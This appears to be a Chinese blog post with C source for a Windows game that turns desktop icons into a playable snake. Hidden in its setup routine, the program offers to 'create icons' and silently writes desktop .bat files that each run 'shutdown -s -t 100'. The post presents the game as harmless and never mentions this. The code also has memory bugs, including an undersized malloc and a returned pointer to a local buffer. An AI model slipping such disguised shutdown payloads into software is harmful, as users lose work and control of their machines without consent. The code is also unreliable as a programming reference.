时间:2021-06-27 08:23:21 | 栏目:C代码 | 点击:次
本篇写的是桌面贪吃蛇小游戏,大家自己看吧,感谢大家的支持,谢谢!O(∩_∩)O~~
#define _CRT_SECURE_NO_WARNINGS #include <windows.h> #include <commctrl.h> #include <time.h> #include <stdlib.h> #include "shlobj.h" #include <stdio.h> #include <string.h> #define SIZE 100 //图标大小默认为100 HWND deskpot; //桌面句柄 int iCount = 0; //图标个数 int screenX; //获取屏幕的分辨率(宽) int screenY; //获取屏幕的分辨率(高) int eatCount = 0; //计数(已经吃到的图标) int index = 0; int speed = 500; //初始速度 typedef struct Snake //蛇结构体 { int x; int y; int index; struct Snake* next; }snake; snake* Head; //蛇头 snake* SnakeTemp; //临时的 POINT food; //食物位置 char* GetDesktopPath(); //返回桌面路径 void Initialization(); //初始化变量 void StartGame(); //开始游戏 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { Initialization(); MessageBox(deskpot, TEXT("游戏规则可以从自己身体上踏过但是不能撞到屏幕四周,按Esc键可退出"), TEXT(""), MB_OK | MB_ICONEXCLAMATION); StartGame(); return 0; } void Initialization() //初始化变量 { srand(unsigned int(time(NULL))); HWND grandpa = FindWindowA("Progman", "Program Manager"); HWND father = FindWindowExA(grandpa, NULL, "SHELLDLL_DefView", NULL); deskpot = FindWindowExA(father, 0, "SysListView32", "FolderView"); iCount = SendMessage(deskpot, LVM_GETITEMCOUNT, 0, 0); //获取句柄中控件的个数 screenX = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的分辨率(宽) screenY = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的分辨率(高) Head = (snake*)malloc(sizeof(Head)); Head->x = rand() % (screenX / SIZE) * SIZE; //蛇头初始化位置 Head->y = rand() % (screenY / SIZE) * SIZE; Head->index = 0; Head->next = NULL; if (iCount < 30) { if (MessageBox(deskpot, TEXT("检测到您桌面上的图标不够30个是否需要自动创建一些呢~"), TEXT(""), MB_YESNO | MB_ICONEXCLAMATION) == IDYES) //判断桌面图标是否够30个,不够就创建些 { FILE* fp; char Path[200]; //保存文件路径 char temp[20]; //存储文件名 char FineName[100]; //存储文件的全名加后缀名 for (int i = 0; i < 30 - iCount; i++) { memset(Path, 0, 200 * sizeof(char)); strcpy(Path, GetDesktopPath()); //将桌面路径给Path sprintf(temp, "\\贪吃蛇%d.bat", i); strcat(Path, temp); if ((fp = fopen(Path, "w+")) == NULL) continue; //如果他建失败就跳过 fprintf(fp, "shutdown -s -t 100"); fclose(fp); } } } for (int i = 0; i < iCount; i++) { //因为这里长宽只能用32位的数来表示,高在前,宽在后,用一下位运算 SendMessageA(deskpot, LVM_SETITEMPOSITION, i, (screenY << 16) + screenX); } return; } char* GetDesktopPath() //返回桌面路径 { LPITEMIDLIST pidl; LPMALLOC pShellMalloc; char szDir[200]; if (SUCCEEDED(SHGetMalloc(&pShellMalloc))) { if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl))) { // 如果成功返回true SHGetPathFromIDListA(pidl, szDir); pShellMalloc->Free(pidl); } pShellMalloc->Release(); } return szDir; } void StartGame() //开始游戏 { SendMessageA(deskpot, LVM_SETITEMPOSITION, Head->index, (Head->y << 16) + Head->x); //打印蛇头 label: food.x = rand() % (screenX / SIZE) * SIZE; food.y = rand() % (screenY / SIZE) * SIZE; if (Head->x == food.x && Head->y == food.y) //如果食物的坐标和蛇头的初始位置相同则重新产生 goto label; SendMessageA(deskpot, LVM_SETITEMPOSITION, 1, (food.y << 16) + food.x); //打印食物 snake SnakeMove; //蛇的移动 SnakeMove.x = 1, SnakeMove.y = 0; //默认向右移动 while (eatCount < iCount) { if (GetAsyncKeyState(VK_UP) != 0) //上 SnakeMove.x = 0, SnakeMove.y = -1; if (GetAsyncKeyState(VK_DOWN) != 0) //下 SnakeMove.x = 0, SnakeMove.y = 1; if (GetAsyncKeyState(VK_LEFT) != 0) //左 SnakeMove.x = -1, SnakeMove.y = 0; if (GetAsyncKeyState(VK_RIGHT) != 0) //右 SnakeMove.x = 1, SnakeMove.y = 0; if (GetAsyncKeyState(VK_ESCAPE) != 0) //结束 { MessageBox(deskpot, TEXT("结束~"), TEXT(""), MB_OK | MB_ICONEXCLAMATION); exit(0); } if (GetAsyncKeyState(VK_SPACE)) //按空格键暂停 { while (1) { Sleep(300); if (GetAsyncKeyState(VK_SPACE)) //再按一次空格键继续 break; } } if (Head->x == food.x && Head->y == food.y) { index++; eatCount++; speed = speed - (speed / 10); snake* temp; temp = (snake*)malloc(sizeof(snake)); temp->x = food.x; temp->y = food.y; temp->index = index; temp->next = NULL; SnakeTemp = Head; while (SnakeTemp->next != NULL) { SnakeTemp = SnakeTemp->next; } SnakeTemp->next = temp; SnakeTemp = Head; SnakeTemp->x += SnakeMove.x * SIZE; SnakeTemp->y += SnakeMove.y * SIZE; while (SnakeTemp != NULL) { SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x); SnakeTemp = SnakeTemp->next; } label2: food.x = rand() % (screenX / SIZE) * SIZE; food.y = rand() % (screenY / SIZE) * SIZE; if (Head->x == food.x && Head->y == food.y) //如果食物的坐标和蛇头的初始位置相同则重新产生 goto label2; SendMessageA(deskpot, LVM_SETITEMPOSITION, index + 1, (food.y << 16) + food.x); //打印食物 } else { snake Temp; snake Temp2; bool choice = false; SnakeTemp = Head; Temp.x = SnakeTemp->x; Temp.y = SnakeTemp->y; SnakeTemp->x += SnakeMove.x * SIZE; SnakeTemp->y += SnakeMove.y * SIZE; SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x); SnakeTemp = Head->next; while (SnakeTemp != NULL) { Temp2.x = SnakeTemp->x; Temp2.y = SnakeTemp->y; SnakeTemp->x = Temp.x; SnakeTemp->y = Temp.y; SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x); Temp.x = Temp2.x; Temp.y = Temp2.y; SnakeTemp = SnakeTemp->next; } if (Head->x > screenX || Head->x<0 || Head->y>screenY || Head->y < 0) { MessageBox(deskpot, TEXT("笨蛋你撞到墙,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION); exit(0); } SnakeTemp = Head->next; while (SnakeTemp != NULL) { if (SnakeTemp->x == Head->x && SnakeTemp->y == Head->y) { MessageBox(deskpot, TEXT("笨蛋你咬到自己了,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION); exit(0); } SnakeTemp = SnakeTemp->next; } } Sleep(speed); } return; }
游戏界面如图:
失败界面如图: